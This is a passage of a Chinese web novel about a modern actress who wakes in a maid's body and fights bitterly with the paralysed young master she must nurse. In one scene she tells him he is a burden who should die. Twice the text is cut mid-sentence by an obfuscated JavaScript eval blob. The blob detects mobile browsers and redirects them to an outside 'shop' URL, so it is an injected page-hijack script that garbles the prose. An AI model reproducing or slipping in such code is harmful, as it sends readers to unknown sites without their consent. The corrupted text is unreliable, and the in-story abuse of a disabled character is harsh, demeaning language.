果然,他瞬间怒目圆睁,紧咬槽牙,愤怒得像是要生吞了她!叶之萤丝毫不怀疑,如果他能起来,此时一定会走到自己面前,紧紧地掐住她的脖子。 可是他起不来!他只能躺在床上,愤怒地用他的眼睛瞪着她,忍受着她肆无忌惮地挑衅而无能为力。 她不再理会他,任由他犀利的目光刺在自己身上,直接吹灭了头顶唯一一盏还燃着的蜡烛。 刚躺下一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为你的身体难过,也想到了曾经的一些人和事。”叶之萤坦然承认,同时向他保证,“不过我知道你不喜欢也不需要我为你难过,以后我会注意,不会再犯了。” 她收起了之前的剑拔弩张,在昏黄的莹莹烛火下,难得平静地与他对话。 “你的手法很好,不像是刚学会的,从前学过?”他也是同样,头一次正常地与她对话。 按在腿上的手指忽的停下。鼻腔没由来的一酸,她咬着下唇“嗯”了一声,便别过头去了。 停下的手指开始继续工作,而各怀心事的两人却都未再开口。不知按了多久,叶之萤发现床上的人已经很久没睁开眼了,脸上的痛苦之色也逐渐褪去,猜他可能是睡了,便再次停下了手上的动作,准备上床睡觉。 “渔儿,帮我翻身。” 他竟然还没睡! 这次,她没有和他顶嘴,因为她知道,瘫痪病人如果一直压着某个地方,是会长褥疮的。 于是她又开始费力给他翻身,刚翻成侧卧的姿势,就听见他“嘶”的声音。 “怎么了?是哪儿疼吗?”她吓得不敢再动他。 “右臂压在身下了。”他咧着嘴回答。 这胳膊不能动也就罢了,偏偏还要拖后腿,还不如个没用的摆设呢!她一边在心里吐槽,一边从身下拉出他的胳膊,又重新翻了一次。这回很顺利,只是,只要她一松手,他就要么往前趴,要么往后仰,根本没办法固定侧卧的姿势。 “把腿弯起来。”他提醒她。 “哦哦,明白了!”她按他说的把他的两条腿都弯曲摆放,终于撑住了他的身体。 看着他的姿势,一想到一个这么大的人,却只能像个玩偶一样任由别人摆弄,叶之萤就又泛起了恻隐之心。 “你去睡吧,一个时辰后再给我翻身。”他闭上眼睛,不再看她。 “少爷,我不是又要顶嘴,只是,我怎么能那么精准的在一个时辰后醒来呢?万一我……” “我会叫你的。”他道。 “那,晚安!” 不对啊,难道他不睡吗? 不管那么多了,他爱睡不睡!叶之萤赶紧上床把那个又大又高又硬的玉枕推得老远,连衣服都没脱就昏睡过去了。 8. 又怎么了?我的大少爷! “夜莺?” 是经纪人Ada的声音! 难道自己回去了?叶之萤一个激灵从床上坐起来。四周一片黑暗,观察不出当下自己身处的环境。 “Ada!我在这儿!”她激动地回应了一声。 “夜莺!别睡了!”Ada却好像没听见她的声音,还在继续叫她。 可是她分明已经醒了啊!难道Ada听不见她的声音吗? “Ada!Ada!你在哪儿?我在这儿啊,你能听见我吗?”她急急忙忙下了榻,伸手在四围乱摸一通,什么也没摸到,又哭着朝那声音的方位大喊,“我在这儿!我在这儿啊!” “夜莺!夜莺!你快醒醒吧!”Ada的声音听起来有些难过。 “我已经醒了!已经醒了啊!我就在这儿!Ada,你看看我,带我回去!”她朝着那声音传来的方向急得大哭起来。 “渔儿!”这时,耳边又换成一个男人的声音,他的声音很好听,可叶之萤此时一点也不想听到这个声音! “你别说话!”她朝那人怒吼一声,又哭着喊Ada的名字。 “渔儿!”那人并未理会她的吼叫,又唤了一声。 什么鱼儿虾儿的?真烦人! “能不能先别叫了!”她真怕这人的声音吓走了Ada。 “渔儿,醒醒!”那人继续唤着。 这个渔儿到底是谁啊?还有,Ada怎么不说话了? “渔儿!”这声音比刚才大了许多,也不耐烦了许多。 叶之萤腾地一下坐起身来。自己就是渔儿,她想起来了。 “该翻身了。”温其玉语气依旧冰冷,一点儿都没有刚睡醒的沙哑和朦胧,叶之萤怀疑他根本就没有睡。 刚才那一幕,到底是真实的,还是自己做的一场梦?如果是真实的,是不是说明自己刚刚正在一个时空隧道里,差一点就回去了?如果这个烦人精不在那个时候打断自己,自己是不是已经回去了? 顿时,想杀人的心达到了顶峰! 但她很快就冷静了,那大概率只是一场梦罢了。 一阵头痛袭来,叶之萤揉了揉太阳穴,强撑着站了起来,但随之而来的强烈眩晕又让她重重跌回榻上。直到周围的万物都不再转动,她才重新站了起来,过去为温其玉翻身。 温其玉一直皱眉看着她,等她走到床边,又盯着她的额头看了一会儿,居然轻轻叹了口气。那样子像极了在替她的身体担心。但叶之萤心里清楚,那根本是不可能的! “放心吧,不会耽误照顾你。”叶之萤气不打一处来。 床上的人居然愣了一下,但神态很快又恢复如常:“那就好!” 有了刚才的经验,这一次她翻得很顺利。翻好后,又回去倒头就睡。刚睡着,又被他叫醒…… 一整夜就在睡着——被叫醒——再睡着——再被叫醒——又睡着——又被叫醒——继续睡着——继续被叫醒这样的循环中迅速过去了。 当叶之萤第四次被叫醒后,刚想再回去接觉,就被温其玉告知已经到了清晨,该起床了…… “求你了,让我再睡一个时辰吧!”她操着疲倦的嗓音,几乎快哭出来了。 “可我现在要起床,你须得给我洗漱,还要喂我吃早餐。”他答得理直气壮。 居然遇上了个周扒皮!叶之萤简直欲哭无泪,痛心疾首! 刚一靠近他,叶之萤就闻到了一股不太好的味道。但这一次,她不敢再有任何异常表情了,昨天那件事还历历在目,她提醒自己,以后在他面前要一定做好表情管理! 他见她没什么反应,便主动说:“你先出去,叫阿力来。” 果然,不要惹他才是让自己好过的最佳方法。 伺候完他的吃喝拉撒后,叶之萤刚坐在桌旁的凳子上准备吃饭,就听见床上的人缓缓开口:“没有你的饭。” 那声音平淡得好像在说一句“进来吧”,毫不惭愧! 不是?叶之萤愣住了,莫非又得罪他了? 紧接着,她用十秒钟把昨晚发生的所有事都迅速在脑中复盘了一遍,而后得出了一个结论:自己明明没惹他啊! 尽心尽力照顾了他一整夜,又是按摩,又是擦身,还起夜四次为他翻身,累得都快趴下了,他不说句感谢的话也就罢了,居然能如此冷酷地对她说出这么一句话?这位大少爷又在作什么妖?他到底是为什么呀? 就在叶之萤濒临崩溃之时,大少爷又发话了:“阿力,拿走她的碗筷。” “温其玉,我们昨天说好的,我照顾你,而你要给我提供食物,保证我的生命安全,你打算食言吗?”她质问他。 “我答应给你提供必要的衣食住行,可昨天是你自己说饿死算了,既然你有骨气,那我自当成全。当然,我一定会遵守约定保证你的安全。放心,只三天,饿不死你!” 原来他还在为昨天洗衣服那事记仇呢! “你好歹毒!”叶之萤咬牙切齿道。 他冷笑一声,得意得仿佛是在夸他。 阿力不得不收走了她的碗筷,留她一人站在那里攥着拳头,愤怒地瞪着床上的人。 “渔儿,你昨日说你识字?”温其玉对她的愤怒完全视而不见,已经开始与她正常攀谈。 这人的情绪调节能力不是一般得强,哪怕发生再激烈的争吵,都能在顷刻间回归冷静,仿佛没有感情一样。真是个冷血动物! 但叶之萤不同,若是有让她不痛快的事发生,只要还没解决,她就会一直不痛快。 譬如现在,她还在气头上,根本没法平心静气搭理他。 “那边书架上有书,取来一本读给我听。”那人根本不在意她生不生气,只管自顾自地说话。 她依旧瞪着他。 “你可是想惹我生气?”他的语气阴沉了下来。 叶之萤差点要被这句话气笑了。到底是谁在惹谁生气?自己好好的大明星莫名其妙变成了小丫鬟,为了有个住的地方委曲求全伺候瘫痪大少爷,累得半死他还不给饭吃,还要处处受他的气,受了气还不能反抗? 这TM过的都是什么日子! 想到这里,竟鼻子一酸,下一秒眼泪就要迫不及待往外涌,她迅速转身躲开了他的目光。 本以为自己转身够快,足以神不知鬼不觉,没想到床上那人却看了个一清二楚,只听他缓缓开口道:“哭好了没有?可以读书了吗?” 叶之萤在此时确定了这人是没有心肝的,亦是没有人性的。她恨不得掐死他!可是自己还要靠他活下去,即便是自己不想活了,带着这副皮囊,也不可能出得了这宅子的大门。 叶之萤心知肚明,自己如今没有能力和他对抗。 “不读。”但她就是咽不下这口气。 “为何?” “没吃饭,没睡觉,没休息,没力气!” 听她一口气说完这句话,床上的人一挑眉,笑着问她:“我有个好方法可助你恢复气力,你可愿一试?” 好办法?怕不是折磨我的好办法吧!我信你个鬼!叶之萤腹语牢骚,又冲他翻了个大大的白眼:“不必麻烦少爷为奴婢操心了!” “那你现在可有力气读书?” 她苦笑一声,直接往书架走去。 对抗失败。 这屋里的书很多,但能供叶之萤选择的却不多,大部分书她连书名都看不懂,翻开里面就更别说了,明明都是汉语,内容却像天书一样晦涩难懂。索性还有两本——《大学》和《诗经》,稍微看着眼熟点儿,就它俩了! “大学之道,在明明德,在亲民,在止于至善……”读得还算顺利,只是才读了一会儿,他又要求改读《诗经》。 《诗经》里的生僻字很多,再加上没有标点符号,叶之萤又不熟悉繁体字,所以读得十分磕绊:“瞻彼淇奥,什么……竹……” “菉(与“绿”同音)。”他提醒道。 “菉竹……呃……” “菉竹猗猗(与‘椅’同音)。” “瞻彼淇奥,菉竹猗猗。有匪君子,如切如磋,如琢如磨。瑟兮……瑟兮什么?” “我记得你昨日说你读了十七年书。”床上的人打量着她,面露讥讽之色。 叶之萤把书往腿上一放,道:“我没必要骗你。” “那这般天资愚钝之人倒是不多见!”他嘴角微扬,明显是在嘲笑她。 叶之萤发誓,眼前的这张脸绝对是她这辈子见过的最令人生厌的一张脸!她实在是羞于承认在昨天的某个时刻,自己居然被这张脸迷得失了神。 “能熟读四书五经就叫天资聪颖了?那也没见你们发明电灯电视、飞机大炮、宇宙飞船、手机电脑啊!”当然,她的性格绝不会选择不挣扎就忍气吞声。 “你在说何物?”她说的这些他显然一个词都没听过。 “切!文盲!”轮到叶之萤鄙 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叶之萤心里的激动就像正在活动的火山一样眼看就要喷涌而出。她已经受够了这两日和温其玉不断的斗嘴和争吵,就像现在这样相处多好啊! 可是过了许久,床上的人都没有再说话,甚至连动都没有再动一下,他紧皱眉心却眼神涣散,望向书桌的某个地方,似乎很是烦苦。 不会是因为说不过自己,被刺激得气急攻心了吧?叶之萤赶紧问他:“你怎么了?不舒服?” 他没有回答。 叶之萤害怕了,又问:“你……你,你没事吧!” 她开始自责为什么非要跟他争,他身体已然这样孱弱,半条命都没了,自己还非要逞一时口舌之快,万一气他个好歹,可怎么赔啊? “你怕了?”他终于开口。 叶之萤见他没事,长舒了一口气。被他一眼看穿心思,她有些尴尬,没有回答。 “我的命硬得很,你气不死。”明明是一句斗嘴的话,他说得却很平淡,听不出有什么特别的情绪,就像是一句再平常不过的回答,以至于叶之萤也不好再顶回去。 “你是不是想她了?”她问。 他眼皮轻轻颤了一下,然后将嘴唇紧紧抿了起来。果然猜对了。 “你放心吧,我们那儿好得很,交通便利、生活方便、物资充足、娱乐发达,什么都有,是真正的花花世界,没有人会不喜欢,我保证,她一定会喜欢的,而且……我是一个知名度很高的演员,有样貌、有钱、有大房子和好的事业,她去过我的生活,肯定幸福死了,不会亏了她的!所以你完全不用担心她!”叶之萤原本是劝温其玉的,结果自己越说心里越苦闷,这一切原本都是她自己的,可现在自己却一点也享受不到生活的美好,莫名其妙在这里受尽折磨。 而温其玉的情绪也并没有因为她的安慰而得到舒缓,反而更加苦闷,不一会儿,他的表情愈发痛苦,像是又犯了头痛症似的。 “你喜欢的人飞上枝头变凤凰,过上好日子了,你不替她高兴吗?”叶之萤疑惑道。 床上的人顷刻间变了脸,愤怒地瞪着她:“你最好快点想到办法换她回来!” 这又是什么意思?自己方才好心劝他,换来的却是这样可憎的态度? “你以为我不想快点儿,我十年辛苦、累死累活、牺牲了多少才换来那样的生活,白白给你那个渔儿捡了便宜,我却在这里替她受苦,伺候你这个……” 瘫痪病人!这几个字正要说出口,叶之萤脑中及时拉起警报收声。还好,没有气得口不择言,以致不能收场…… 怕他多心,又欲盖弥彰地强调了一遍:“伺候你这个……乖张暴戾的大少爷。” 仿佛自己原本就打算这么说似的。 看温其玉的表情,显然已经准备好发火了,但见她还尚存一丝理智,知道即时收声,且态度良好,便没有发作。 眼看警报解除,叶之萤说话的语气又变得不客气:“所以你不用提醒我,我比谁都急!” “那就好!” 可叶之萤却对温其玉的反应起了疑。喜欢一个人,难道不希望她过得好吗?按理说他都残疾到这种程度了,应该明白自己已经给不了李渔幸福,可为什么当他知道李渔现在过上了更好的生活,不仅不替她欣慰,反而会那么恐惧呢?他在恐惧什么?他为什么非要李渔继续回来这个火坑呢?又为什么执意让自己假扮李渔呢? 9. 绝地反击! 心中一堆疑问,还没来得及一一梳理,就被林大夫打断了。 “渔儿姑娘,我又捉了些地龙,麻烦你清洗干净。” 地龙?这名字好熟悉,好像是什么东西的别名。她正在想着,林大夫已经端了木盆来到了她面前。 她往里一看,这才记起了地龙的别称!瞬间头皮发麻,浑身的毛发都竖了起来! “啊!!!啊!!!!”她花容失色,尖叫着从温其玉的床边弹了起来,连鞋都没脱就直接爬上了他的床,躲到墙角瑟瑟发抖。 “快拿走!快拿走!”她站在床上激动地跺脚,床都要被她跺散架了,嗓子也要被她吼撕裂了。 林大夫却好像没有听见她的喊声一样,拿着木盆儿就往床边走来。 她已经在墙角退无可退,只好别过脸去,使劲贴着墙壁,恨不得从墙里穿出去。 “渔儿姑娘,这是地龙啊!你怎么了?”林大夫不理解她的反应。 叶之萤一边跺脚,一边哭嚎:“我知道我知道!你别再往前走了,快端走!我求求你了,别再靠近了!” “这……”他手里端着盆,向床上的温其玉投去了不解的目光。 “我害怕,你拿走吧!求你了!”此时,叶之萤已经被吓得真的哭出了声,她绝望地看向温其玉,希望他能救救自己。 “可是,可是以前这些地龙都是你清洗的啊!”林大夫还在纠缠。 听完他这话,叶之萤立马把双手举到眼前,惊恐地看着它们,这双手竟然碰过…… 眼前的双手开始不停地发抖,抖动蔓延到了全身,她突然觉得很恶心,跪在墙角干呕起来。身体的条件反射让她想用手捂住嘴,却在即将碰到皮肤的一瞬间反应过来,又赶紧惊慌失措地将手甩开。 “林大夫,渔儿今日身体不适,你先把盆放在这里,等她清理好后给您送去。”温其玉终于替她解了围。不对!他根本没有替她解围!如果没理解错的话,那盆东西她还是清理…… 她望向他的眼神更加绝望,而他则冷漠地将目光从她身上移开了。 林大夫显然没有注意到他们俩不同寻常的表情,只是有些困惑地把盆放在餐桌上,问她:“渔儿姑娘哪里不舒服?可需要我给你再看看?” 叶之萤惊魂未定,也不说话,只一味摇头。 还是温其玉替她开了口:“无碍,只是大病初愈,身子还虚着,您切勿操心。” “哦,那就好,渔儿姑娘本体太过瘦弱,这次又去鬼门关转了一圈,身体消耗过大,需要静养一些时日。修养期间不适合太操劳,以免落下病根。温少爷还是要督促她多休息,另外饮食上注意营养才好得快。”林大夫看似随意地交代了几句,见床上的人点了头,又关心起自己的病人,“那你又如何?今早喝药了吗?” “喝过了。”温其玉的声音淡定得可怕,仿佛已经忘了身后那个几近崩溃的女子。 “今日可还有头痛欲裂、身体奇痒的症状?”林大夫满脸忧虑,似乎是对治疗效果不满意。 “头痛缓解了许多,疼起来也没那么难熬了,反而近两日偶感右臂酥麻。”说这话时,他一贯虚弱无情的语气竟意外的有了生气。 “真的?”听他这样说,林大夫也两眼放光。 温其玉轻轻点头。 “那便对了!我就说我的药不会有错!看来这药已使你上身筋脉逐渐畅通,往后可一定要按时服药,待酥麻之感逐渐频繁后,我再为你安排康复训练,假以时日,还是有望恢复的!”林大夫一副干劲十足的架势。 温其玉倒很是平静,轻轻点头示意:“有劳了!” 林大夫前脚刚走,叶之萤就愤怒地冲着温其玉吼起来:“我都说了我害怕,你为什么还要让我去弄!你为什么这么歹毒!” “你弄脏我的床了,先下去吧。”他并不理会她的质问,反倒看着她的脚没头没脑的来了这么一句。说完这话,他脸上的神经猛抽了一下,然后痛苦地闭紧双眼,看来是又头疼了。 “弄脏了我可以给你洗,温少爷,能不能不要让我洗地龙,我求求你了,除了这个,你让我干什么都行!真的什么都行,我以后再不跟你顶嘴了,对不起,你放过我这一次好不好?就当是看在渔儿的面子上,不管怎么说,我现在的身体也是渔儿的!你也不忍心这样对她吧?”叶之萤终于不再强撑,这两日头一回跪在他腿边哭着哀求起他,这一刻,她将所有的骄傲和自尊全部丢弃了。 床上的人皱着眉头,闭着双眼,像是在空气中寻找什么似的,这样的举动这两日叶之萤看他做过很多次,似乎是在怀念李渔,她满怀希望的期待他能看在渔儿的面子上放过自己,可他眉间的褶皱却是越来越深…… “不行!”他睁开眼,冷漠地拒绝了她,对她已经这般摇尾乞怜的哀求依旧无动于衷。 叶之萤仍不死心,继续爬到他身边,拉着他的胳膊低声下气地求他,妄想着他能看在李渔的面子上动一丝恻隐之心,放自己一马,可他始终不为所动,冷漠得好像没有心一样。 他的冷漠让叶之萤彻底绝望了,她突然意识到,自己怎么能傻到去求一个没有人性的魔鬼?她像疯了似的朝他破口大骂:“你为什么这么歹毒!为什么这么冷血!我已经这样求你了,你为什么还要逼我!” 一边骂他,一边用双手胡乱捶打他的身体,眼泪横流、鼻涕乱飞。 或者是被她的疯狂惊吓到了,亦或者是被她的拳头打疼了,他的脸上终于有了情绪,但并不命令她停手,只是咬牙忍着疼,任由她的双拳愤怒地捶打在他身上。 直到嗓子骂不动了,胳膊也挥累了,细软的发丝凌乱的被汗水、泪水还有鼻涕粘的满脸都是,叶之萤如同一朵与狂风极力对抗却仍被摧毁的残花,全身上下已经没有一丝气力,瘫坐在他身边茫然地喘着气。 而他却已经恢复了一贯的冷漠,她的疯狂仿佛根本没能伤他半分:“渔儿,那些地龙从前都是你清洗晾晒的,你说它们既然能治疗我的痹症,便要亲手清洗,洗得干干净净的,药效才更好,你忘了吗?” “你是不是疯了?你明明知道我不是她,我不是她!”叶之萤嘶哑的声音在安静的空气中震荡,那么刺耳和绝望。温其玉疯没疯她不知道,但她自己已经彻底被他逼疯了! “可你如今用着她的身体,也答应了要以她的身份生活在我身边,那就得做和她一样的事,她能做得,你也能做得!”他的语气无情中夹杂着凶狠,“你就在这里清洗这些地龙,当着我的面,一条一条亲手清理干净!” 叶之萤继续向前爬,一直爬到他眼前,靠近他近乎像纸一样惨白的脸,盯着他泛着寒光的双眼。他的气场可真是强大啊!即使如此虚弱不堪,依然有着超乎想象的震慑力,仿佛躺在这里的不是一个全身瘫痪的残废,而是一个下一秒钟就能站起来杀人的战神。 不过叶之萤已经无所畏惧了,俗话说“光脚的不怕穿鞋的”,这两日被他接二连三的折磨,她早已放弃了留在这里保平安的心思。与其在这里生不如死,不如早点离开,就算死也死个痛快。 她冷笑一声:“我懂了!我总算懂了!你之所以让我承认自己是李渔,就是想把我当成她的替身,是吗?你想让我模仿她,模仿得越像越好,这样你就能欺骗自己她没有离开,她还在,是吗?所以你心知肚明我不是她,却还是不停地叫我‘渔儿’,你在给自己洗脑,暗示自己,让自己相信我就是‘渔儿’这件事。谁知我实在与她相差太多,这两日所做之事不仅没有强化你的暗示,反而处处都在提醒你,渔儿已经死了!是被你逼死的!你怀念与她在一起时的那种感觉,却在我身上迟迟得不到同样的感觉,你不敢面对她自杀的真相,却被我不断的提醒,所以你就恼羞成怒,处处针对我,折磨我,是吗?” 他显然是被戳中了要害,也不做辩解。 而叶之萤也被他逼得彻底疯了,破罐子破摔,开始胡言乱语报复他:“我看你不只是身体有病,你脑子也有病,你就是个神经病!你们这种人果然都不正常,自己瘫痪了,就见不得别人好过,整天无所事事,净琢磨着要拖别人一起下水、让别人和你一样腐烂在恶臭的泥潭里才满意!你不仅身体残疾,还心理扭曲,李渔整天伺候你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991632|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的人,不被逼疯才怪!她恐怕就是受不了你的折磨才自杀的吧?为了摆脱你,她都宁愿去死了,你居然还想让她再回到你身边伺候你一辈子?温其玉,你难道没有自知之明吗?你这样的身体,除了会给别人带来无尽的麻烦,还能给人带来什么?但凡你还有那么一丁点良心,就该知道自己是个拖累!是个负担!是个麻烦!你怎么还好意思盼着她回来?你怎么好意思?你自私又恶毒,在这儿装什么深情?猫哭耗子假慈悲!我告诉你温其玉,像你这样的残废,谁接近你,谁就会变得不幸,李渔还是太傻了,她根本就不该自杀,她应该杀了你才对,你才是她痛苦的根源,该死的人是你!” 她就趴在他眼前,和那张俊美的脸不过二十公分的距离,目露凶狠,恨不得亲手了结了他! 温其玉仰头瞪着她,脖子因为过于使劲而青筋暴起,双眼因为愤怒而爆满血丝,胸腔因为过于激动而剧烈地起伏着,气管也因为气流过于频繁而发出刺耳的嘶鸣声。显然已经愤怒到了极点。 叶之萤继续俯身更加接近他的脸:“生气吗?坐起来打我啊!掐死我!” 她指着自己的脖子愈发靠近他,近得那张愤怒的脸在她眼中已经变得扭曲和模糊,而后她话锋一转,几乎是贴着他的耳朵笑起来:“哎哟,差点忘了,你起不来的,就算我再靠近点,就算我亲自把你的手按在我脖子上,你也掐不死我,因为你根本就是个哪哪都不会动的废物!你是个废物!一个废物还想欺负我?真是自不量力!” 愤怒的呼吸一下一下抽打着她的脸,这已经是床上的人唯一能做的反抗了,果然是个废物!叶之萤擦了把脸上的潮气,直起腰,扬起手就朝他的脸上甩去,却又在离那张脸毫厘之间的地方停住了。 她原本想向他演示一下什么才是有效的打脸,可随着她的手抬起又落下,瞪着她的那双眼睛居然没有一丝躲闪,明明可以活动的头颈也纹丝不动。 哼,还想硬扛?你拿什么扛?! 叶之萤收回手,瞥了眼他身旁那只依旧沉默安静的右手,轻蔑道:“像你这种人,就算打烂你的脸也得不到快感!你说你整日只能这样躺着,什么也做不了,活着还有什么意思?浪费空气罢了!不如你求求我,说不定我愿意做个好人,送你一程。” “你住口!”他只能用全身上下唯一能动的那张嘴来反抗。叶之萤看到他的眼睛已经因为充血而涨得通红,血丝布满了原本纯净的眼白,如同火山下暗流涌动、烧得通红的岩浆,欲将她吞噬。 他朝她嘶吼时,以胸腔为分界线,上下形成刺眼的对比。胸腔以上看起来极其恐怖,颈部涨红、青筋遍布,面部的肌肉也在不自觉地抽搐抖动,可胸腔以下的身体却安静得好像一具尸体,没有半分挣扎的迹象,它们好像不属于这个人,以至于他的所有愤怒都与它们无关。 叶之萤的情绪已经在此时完全失控:“你还有别的办法让我闭嘴吗?像你这样歹毒变态的人,你把全世界的地龙都吃了你也好不了!这就是你的报应!你这辈子都会像个活死人一样躺在这里!没有健康、没有尊严、没……” 正说着,她的嘴突然被人捂住,抬头一看,原来是阿力! “叶小姐,你快别说了!”阿力一只手捂住她的嘴,另一只手使劲把她往床下拉。 “放开我!放开我!”她使劲挣脱,但是这个李渔实在是太过瘦小,根本毫无还手之力,她被阿力硬从温其玉床上抱下来,很快又被拖到了门外。 阿力关上门,终于松开了她。 她喘着粗气,恶狠狠地瞪着阿力,痛恨他在最关键的时刻打断了自己的报仇。 “叶小姐,你有些不清醒了!少爷绝对不是你说的那样,你并不了解他!你先冷静一下,别一时冲动做让自己后悔的事!”阿力试图安抚住她,却只是徒劳。 “我不需要了解他!只需要看看他这两天对我做的事情就足以证明我没说错,他就是个混蛋!”她冲着房间继续大骂! 与此同时,从房间也传出了温其玉的怒吼:“把她关到柴房去!没有我的命令,不准给她饭吃,不准放她出来!” 10. 你敢关我?? 柴房就在内院,和温其玉的房间并排,中间隔着阿力的房间和通向内院的一扇大门,她被阿力拖拽着,没两步就到了。 “叶小姐,你先冷静冷静行不行!别再骂了!少爷的身体可受不住这样的刺激,算我求你了!”阿力一面死死拉住她的胳膊,一面苦苦哀求她。 叶之萤一听这话更火大了:“我还要管他受不受得住刺激?那他欺负我的时候也没想过我受不受得住啊!” 她使劲一抽,终于抽出了胳膊,拔腿就又往温其玉的房间冲。 阿力见状,急忙跟上去,一把抱起她,不顾她的拳打脚踢,狠心将她扔进了柴房。 “叶小姐,实在对不住了!委屈你暂时在这里待一下,你先冷静冷静,我也再去劝劝少爷,你们二人现在的情况不适合见面,只能先委屈你了!”阿力道完歉,便火速出门并在外面上了锁,留她一人在柴房里使劲叩门。 “喂!你别锁门,放我出去!” “阿力,你回来!凭什么要委屈我?凭什么委屈我呀!” “温其玉,你个死变态,你快放了我!放了我!” 她一声接一声地喊着,喉咙都快喊破了也没有人来。这间宅院里,虽然下人有不少,但除了阿力、林大夫,还有一个打扫院子的老大爷,叶之萤没有再在内院见过其他人了,虽然阿力没有告诉她原因,但猜也猜得到,肯定是那个变态定的规矩! 后来她筋疲力尽,嗓子也彻底哑了,再也喊不动了。心想这么下去也不是办法,与其指望别人来救,不如想法子自救。于是她试图在柴房里找寻其他出口。 这柴房不大,只有不到十平方米。虽说是柴房,但收拾得十分干净,一看就是每天都有人打扰,地面干净无尘,劈好的柴也都整齐地码在墙边,并没有想象中的脏乱。也正因这样,待在里面的人只一眼就能看出,根本没有什么出口! 只有窗户是朝里上锁的,但是这些窗户都很高,她废了老大的劲儿挪来一堆木柴垒在一起当垫脚也还是够不到。 折腾一番后,她已是疲累不堪,人也比刚才冷静了许多。她把其中一堆柴挪去了别处,腾出一小片空间,坐在墙边靠墙休息。又复盘了刚才跟温其玉的争吵,越想越觉得过意不去。虽说是他不对在先,自己反击无可厚非,但对一个瘫痪在床的人说那样的话,似乎是有些过头了。 谁敢想,这才是自己来到这里的第二天!才第二天这日子就过不下去了,以后该怎么过啊?到底什么时候才能回去?怎么做才能回去?她顿感心烦意乱…… “笃笃笃,笃笃笃,笃笃笃!”一阵急促的敲门声将睡梦中的叶之萤吵醒了。 “谁呀?”她睁着迷迷糊糊的眼睛环顾四周,反应了半天才意识到自己还在柴房。睡眼朦胧地起身开了门,看见阿力手里抱着被褥,一脸歉然地站在门口。 “你都从外面开了锁,直接进来不就行了,还敲什么门!装!”叶之萤把对温其玉的气都撒到了阿力身上。 谁知他满脸涨红道:“那怎么行?自然是要敲门的!” “这是给我拿的?”她指着他怀里抱着的被褥问。 他被问得有些尴尬,支支吾吾道:“少爷说……让你……” “让我住在这儿?”她看他不敢明言,于是替他回答。 “嗯。” “好,谢谢你送来的被褥!”她从他手里接过被褥,找了块干净的地方开始铺床。 阿力看她居然没生气也没抗议,心生疑惑:“好?你不怪少爷了?” 叶之萤停下手中的活,更正他的话:“这是两码事!我接受住在这里是因为我突然意识到了住在这里的好处,跟我怪不怪他没关系,你别瞎给他开脱啊!” “住在这儿还能有什么好处?”阿力打量一下四周,忧心忡忡地看着她的头。 “别看了,我还没被他气傻。住在这儿,至少我可以想什么时候睡就什么时候睡,想睡到什么时候起就睡到什么时候起,再也不用伺候那个神经病了!也不用受他的气了!乐得清静,多好啊!”叶之萤说得眉飞色舞。 阿力却道:“叶小姐,你能不能不要再这么说少爷了!” 她摊开手,耸耸肩,笑了笑:“他值得!” “少爷真的不是你想的那样!”阿力又开始试图为自家少爷辩解。 可一切解释在叶之萤这里都是苍白的,她纠正阿力:“我从来没有凭空想象他是什么样,我是自己用眼睛看了,用耳朵听了,并亲自感受过了他的变态。既然你说他不是那样,那你说说,他为什么这样对我?难道他鬼上身了?被夺舍了?呵呵!” 说完,她一屁股坐在了刚铺好的褥子上。 而此时,阿力却对她讲起了温其玉与李渔的故事:“少爷自这次生病以来,万念俱灰,不吃不喝,不让诊治,一心求死,我们全都束手无策!眼看就快撑不下去了,渔儿姑娘却在那时主动要求照顾少爷。当时老夫人已经用尽了办法,都劝不动少爷活下去,所以只当是死马当作活马医,同意让渔儿照顾少爷了。少爷一开始并不接受她的照顾,但说来也怪,不知道她用了什么法子,不多久,少爷就变了,不仅愿意吃饭,甚至还愿意配合林大夫的治疗。少爷变得极其依赖渔儿,时时都要见到她。是她让少爷对生活又有了念想,这才重拾了活下去的勇气。所以,与其说少爷对渔儿是喜欢,不如说是一种活下去的牵挂和念想吧。” “你的意思是,渔儿对他而言,就像是溺水之人手中抓住的那根稻草,所以他即使心里清楚我并不是渔儿,也会选择继续逃避,不愿意接受事实,因为一旦接受了渔儿不在他身边这个事实,他就失去了活下去的唯一念想!”叶之萤有些明白了,生存是人的本能,他必须找一个能让自己继续活下去的理由,所以他要求自己必须和李渔一样,因为只有李渔活着,他才能继续活着。所以,他其实是在自救? 阿力点头表示赞同:“可以这么说!” “可是,李渔又为什么自杀呢?难道不是被他折磨得受不了了?”她一边认真地听他讲着,一边招呼他也过来坐。 “当然不是!”阿力矢口否认,而后又和她并排坐下,“至于渔儿为何自杀,这个我们也百思不得其解。少爷对渔儿姑娘很好,也很尊重她,从无欺压羞辱之事!少爷其实待周围人都很好。” 说到这里,他有些尴尬地看了眼叶之萤。 “都很好?偏偏对我不好?看来我是特殊的那一个,还真是与有荣焉啊!”叶之萤心生不爽,阴阳起来。 阿力继续道:“他们一直都相处得很好,渔儿很温顺,少爷也不多事,二人从未发生过不愉快的事。谁知一个月前,渔儿突然就服毒了,经林大夫检查,毒性侵入五脏六腑,已无药可医。此事发生得太过突然,之前毫无征兆,连我们都接受不了,更别说少爷了。我们怕少爷接受不了这个噩耗,又要随她而去,情急之下便商量,不如先骗少爷渔儿还未死透,尚有生还希望,这才暂时安抚住了少爷。” “什么?”叶之萤大为震惊,“你们可真行!骗得了一时也骗不了一世啊!更何况渔儿明明已经死了,你们是怎么弄的?” 